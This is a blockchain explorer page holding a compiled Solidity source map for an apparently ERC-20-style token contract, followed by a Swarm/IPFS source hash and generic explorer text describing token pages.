5784:4979:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7565:82;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8191:152;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;8191:152:0;1004:187:1;7653:90:0;7723:12;;7653:90;;;1342:25:1;;;1330:2;1315:18;7653:90:0;1196:177:1;5882:33:0;;;;;-1:-1:-1;;;;;5882:33:0;;;;;;-1:-1:-1;;;;;1555:32:1;;;1537:51;;1525:2;1510:18;5882:33:0;1378:216:1;8709:359:0;;;;;;:::i;:::-;;:::i;10579:108::-;;;;;;:::i;:::-;;:::i;:::-;;7385:82;7450:9;;7385:82;;7450:9;;;;2352:36:1;;2340:2;2325:18;7385:82:0;2210:184:1;6075:23:0;;;;;;;;;7749:114;;;;;;:::i;:::-;-1:-1:-1;;;;;7844:16:0;7820:7;7844:16;;;:7;:16;;;;;;;7749:114;5642:135;;;:::i;10418:155::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10528:36:0;10501:4;10528:36;;;:25;:36;;;;;;;;;10418:155;7275:94;;;:::i;5443:82::-;;;:::i;7473:86::-;;;:::i;7871:165::-;;;;;;:::i;:::-;;:::i;8042:139::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8146:18:0;;;8128:7;8146:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8042:139;9074:138;;;;;;:::i;:::-;;:::i;5917:35::-;;;;;-1:-1:-1;;;;;5917:35:0;;;7565:82;7610:13;7634:5;7627:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7565:82;:::o;8191:152::-;8265:4;8273:49;2952:10;8306:7;8315:6;8273:8;:49::i;:::-;-1:-1:-1;8331:4:0;8191:152;;;;;:::o;8709:359::-;8820:4;8848:36;8858:6;8866:9;8877:6;8848:9;:36::i;:::-;8886:151;8895:6;2952:10;8927:109;8975:6;8927:109;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8927:19:0;;;;;;:11;:19;;;;;;;;2952:10;8927:43;;;;;;;;;;:47;:109::i;:::-;8886:8;:151::i;:::-;-1:-1:-1;9056:4:0;8709:359;;;;;:::o;10579:108::-;5562:6;;-1:-1:-1;;;;;5562:6:0;2952:10;5562:22;5554:73;;;;-1:-1:-1;;;5554:73:0;;;;;;;:::i;:::-;;;;;;;;;10653:11:::1;:26:::0;;;::::1;;;;-1:-1:-1::0;;10653:26:0;;::::1;::::0;;;::::1;::::0;;10579:108::o;5642:135::-;5562:6;;-1:-1:-1;;;;;5562:6:0;2952:10;5562:22;5554:73;;;;-1:-1:-1;;;5554:73:0;;;;;;;:::i;:::-;5750:1:::1;5728:6:::0;;5707:46:::1;::::0;-1:-1:-1;;;;;5728:6:0;;::::1;::::0;5707:46:::1;::::0;5750:1;;5707:46:::1;5772:1;5755:19:::0;;-1:-1:-1;;;;;;5755:19:0::1;::::0;;5642:135::o;7275:94::-;7336:7;7354;:5;:7::i;:::-;7347:14;;7275:94;:::o;5443:82::-;5493:7;5511:6;-1:-1:-1;;;;;5511:6:0;;5443:82::o;7473:86::-;7520:13;7544:7;7537:14;;;;;:::i;7871:165::-;7954:4;7967:48;2952:10;7997:9;8008:6;7967:9;:48::i;9074:138::-;5562:6;;-1:-1:-1;;;;;5562:6:0;2952:10;5562:22;5554:73;;;;-1:-1:-1;;;5554:73:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9151:46:0::1;;::::0;;;:25:::1;:46;::::0;;;;:53;;-1:-1:-1;;9151:53:0::1;9200:4;9151:53;::::0;;9074:138::o;8349:350::-;-1:-1:-1;;;;;8441:19:0;;8433:78;;;;-1:-1:-1;;;8433:78:0;;4011:2:1;8433:78:0;;;3993:21:1;4050:2;4030:18;;;4023:30;4089:34;4069:18;;;4062:62;-1:-1:-1;;;4140:18:1;;;4133:34;4184:19;;8433:78:0;3809:400:1;8433:78:0;-1:-1:-1;;;;;8533:21:0;;8525:78;;;;-1:-1:-1;;;8525:78:0;;4416:2:1;8525:78:0;;;4398:21:1;4455:2;4435:18;;;4428:30;4494:34;4474:18;;;4467:62;-1:-1:-1;;;4545:18:1;;;4538:32;4587:19;;8525:78:0;4214:398:1;8525:78:0;-1:-1:-1;;;;;8605:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8658:32;;1342:25:1;;;8658:32:0;;1315:18:1;8658:32:0;;;;;;;8349:350;;;:::o;9243:1169::-;-1:-1:-1;;;;;9339:20:0;;9331:80;;;;-1:-1:-1;;;9331:80:0;;4819:2:1;9331:80:0;;;4801:21:1;4858:2;4838:18;;;4831:30;4897:34;4877:18;;;4870:62;-1:-1:-1;;;4948:18:1;;;4941:35;4993:19;;9331:80:0;4617:401:1;9331:80:0;-1:-1:-1;;;;;9430:33:0;;9422:91;;;;-1:-1:-1;;;9422:91:0;;5225:2:1;9422:91:0;;;5207:21:1;5264:2;5244:18;;;5237:30;5303:34;5283:18;;;5276:62;-1:-1:-1;;;5354:18:1;;;5347:33;5397:19;;9422:91:0;5023:399:1;9422:91:0;-1:-1:-1;;;;;9531:33:0;;;;;;:25;:33;;;;;;;;;:73;;-1:-1:-1;;;;;;9568:36:0;;;;;;:25;:36;;;;;;;;9531:73;9527:152;;;9634:21;;;;;;;:40;9616:63;;;;-1:-1:-1;;;9616:63:0;;5629:2:1;9616:63:0;;;5611:21:1;-1:-1:-1;5648:18:1;;;5641:29;5687:18;;9616:63:0;5427:284:1;9616:63:0;-1:-1:-1;;;;;9685:24:0;;;;;;:16;:24;;;;;;:39;:74;;;;-1:-1:-1;9729:20:0;;-1:-1:-1;;;;;9729:30:0;;;:20;;:30;;9685:74;:117;;;;-1:-1:-1;;;;;;9773:15:0;;9801:1;9773:15;;;:7;:15;;;;;;:29;;9685:117;9681:184;;;9844:18;;-1:-1:-1;;;;;9816:24:0;;;;;;:16;:24;;;;;:46;;:24;;;:46;;9844:18;;9816:46;:::i;:::-;;;;-1:-1:-1;;9681:184:0;9907:18;;9886:16;;-1:-1:-1;;;;;9886:16:0;9878:25;;;;:7;:25;;;;;:47;;:25;;;:47;;9907:18;;9878:47;:::i;:::-;;;;-1:-1:-1;;9936:16:0;:28;;-1:-1:-1;;;;;;9936:28:0;-1:-1:-1;;;;;9936:28:0;;;;;;;;;;9990:24;;-1:-1:-1;9990:24:0;;;:16;:24;;;;;;:39;;9976:168;;10051:79;10071:6;10051:79;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10051:15:0;;;;;;:7;:15;;;;;;;:79;:19;:79::i;:::-;-1:-1:-1;;;;;10033:15:0;;;;;;:7;:15;;;;;:97;9976:168;-1:-1:-1;;;;;10175:18:0;;;;;;:7;:18;;;;;;:30;;10198:6;10175:22;:30::i;:::-;-1:-1:-1;;;;;10145:18:0;;;;;;;:7;:18;;;;;;;:60;;;;10221:35;;;;;;;;;;10249:6;1342:25:1;;1330:2;1315:18;;1196:177;10221:35:0;;;;;;;;10275:11;;;;;;;10270:135;;10317:7;:5;:7::i;:::-;-1:-1:-1;;;;;10307:17:0;:6;-1:-1:-1;;;;;10307:17:0;;10299:103;;;;-1:-1:-1;;;10299:103:0;;6313:2:1;10299:103:0;;;6295:21:1;6352:2;6332:18;;;6325:30;6391:34;6371:18;;;6364:62;6462:33;6442:18;;;6435:61;6513:19;;10299:103:0;6111:427:1;10299:103:0;9243:1169;;;:::o;4093:180::-;4183:7;4215:12;4207:6;;;;4199:29;;;;-1:-1:-1;;;4199:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4235:9:0;4247:5;4251:1;4247;:5;:::i;:::-;4235:17;4093:180;-1:-1:-1;;;;;4093:180:0:o;3782:169::-;3844:7;;3872:5;3876:1;3872;:5;:::i;:::-;3860:17;;3897:1;3892;:6;;3884:46;;;;-1:-1:-1;;;3884:46:0;;6745:2:1;3884:46:0;;;6727:21:1;6784:2;6764:18;;;6757:30;-1:-1:-1;;;6803:18:1;;;6796:57;6870:18;;3884:46:0;6543:351:1;3884:46:0;3944:1;3782:169;-1:-1:-1;;;3782:169:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1599:328::-;1676:6;1684;1692;1745:2;1733:9;1724:7;1720:23;1716:32;1713:52;;;1761:1;1758;1751:12;1713:52;1784:29;1803:9;1784:29;:::i;:::-;1774:39;;1832:38;1866:2;1855:9;1851:18;1832:38;:::i;:::-;1822:48;;1917:2;1906:9;1902:18;1889:32;1879:42;;1599:328;;;;;:::o;1932:273::-;1988:6;2041:2;2029:9;2020:7;2016:23;2012:32;2009:52;;;2057:1;2054;2047:12;2009:52;2096:9;2083:23;2149:5;2142:13;2135:21;2128:5;2125:32;2115:60;;2171:1;2168;2161:12;2399:186;2458:6;2511:2;2499:9;2490:7;2486:23;2482:32;2479:52;;;2527:1;2524;2517:12;2479:52;2550:29;2569:9;2550:29;:::i;2798:260::-;2866:6;2874;2927:2;2915:9;2906:7;2902:23;2898:32;2895:52;;;2943:1;2940;2933:12;2895:52;2966:29;2985:9;2966:29;:::i;:::-;2956:39;;3014:38;3048:2;3037:9;3033:18;3014:38;:::i;:::-;3004:48;;2798:260;;;;;:::o;3063:380::-;3142:1;3138:12;;;;3185;;;3206:61;;3260:4;3252:6;3248:17;3238:27;;3206:61;3313:2;3305:6;3302:14;3282:18;3279:38;3276:161;;3359:10;3354:3;3350:20;3347:1;3340:31;3394:4;3391:1;3384:15;3422:4;3419:1;3412:15;3276:161;;3063:380;;;:::o;3448:356::-;3650:2;3632:21;;;3669:18;;;3662:30;3728:34;3723:2;3708:18;;3701:62;3795:2;3780:18;;3448:356::o;5716:127::-;5777:10;5772:3;5768:20;5765:1;5758:31;5808:4;5805:1;5798:15;5832:4;5829:1;5822:15;5848:128;5915:9;;;5936:11;;;5933:37;;;5950:18;;:::i;5981:125::-;6046:9;;;6067:10;;;6064:36;;;6080:18;;:::i

Swarm Source

ipfs://2d31eb78269538eec3402f2672c9dc4489eedc487b7bb2e4fe34fc3944a66506
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.